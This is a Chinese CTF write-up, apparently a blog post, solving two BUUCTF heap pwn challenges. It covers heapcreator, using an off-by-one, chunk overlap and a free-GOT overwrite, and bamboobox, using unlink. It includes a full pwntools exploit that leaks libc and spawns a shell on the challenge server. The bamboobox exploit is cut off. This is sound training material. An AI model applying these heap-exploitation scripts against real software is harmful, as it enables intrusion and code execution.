BUUCTF-PWN刷题记录-3

hitcontraining_heapcreator

在这里插入图片描述
考虑修改GOT表
在这里插入图片描述
在edit函数中可以溢出一个byte
这题需要利用堆重叠的方法,因为free之后会置空,只能利用堆重叠进行重复分配
利用思路如下:

  1. 先申请三个heap,其中heap[0]的内容大小为8的奇数倍
  2. 使用edit溢出修改heap[1]的chunk的size,把heap[2]的内容部分包括进去
  3. delete heap[1],然后申请同样大小的一个块
  4. 此时使用edit把heap[2]的content指针改为free的got表
  5. show heap[2],得到Libc基地址,计算system地址
  6. 把free GOT改为system的地址

Exp:

from pwn import *
from LibcSearcher import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Size of Heap : ")
	r.sendline(str(size))
	print r.recvuntil("Content of heap:")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('4')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def edit(index, content):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))
	print r.recvuntil("Content of heap : ")
	r.send(content)

def show(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))
	

r = remote("node3.buuoj.cn", 26329)
#r = process("./hitcontraining_heapcreator")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400D60
	c
	''')
context(arch = "amd64", os = 'linux')
elf = ELF("./hitcontraining_heapcreator")
free_got = elf.got['free']

add(0x18, 'a\n')
add(0x10, 'a\n')
add(0x10, 'a\n')

payload = '/bin/sh\x00' + 'a' * 0x10 + '\x81'
edit(0, payload)
delete(1)

payload = p64(0) * 8 + p64(8) + p64(free_got)
add(0x70, payload)

show(2)

print r.recvuntil("Content : ")
free_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system = libc_base + libc.dump("system")
success("free:" + hex(free_addr))
success("system:" + hex(system))

edit(2, p64(system))
delete(0)
r.interactive()

hitcontraining_bamboobox

在这里插入图片描述
依然考虑修改GOT表
在这里插入图片描述
这题的漏洞在edit函数中,可以进行堆溢出,本题考虑使用unlink攻击
利用思路如下

  1. 申请四个item,其中item[3]的内容为/bin/sh
  2. 编辑item[1],溢出修改item[2]把item[1]的chunk状态变为空闲,并在item[1]中伪造chunk,大小为0x30,把fd变为itemlist-0x18,bk变为itemlist-0x10
  3. 释放item[2],此时item[1]就指向itemlist
  4. 把tem[0]改为free的got表,泄露,修改

Exp:

from pwn import *

def add(size, content):
	print r.recvuntil("Your choice:")
	r.sendline('2')
	print r.recvuntil("Please enter the length of item name:")
	r.sendline(str(size))
	print r.recvuntil("Please enter the name of item:")
	r.send(content)

def edit(index, size, content):
	print r.recvuntil("Your choice:")
	r
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值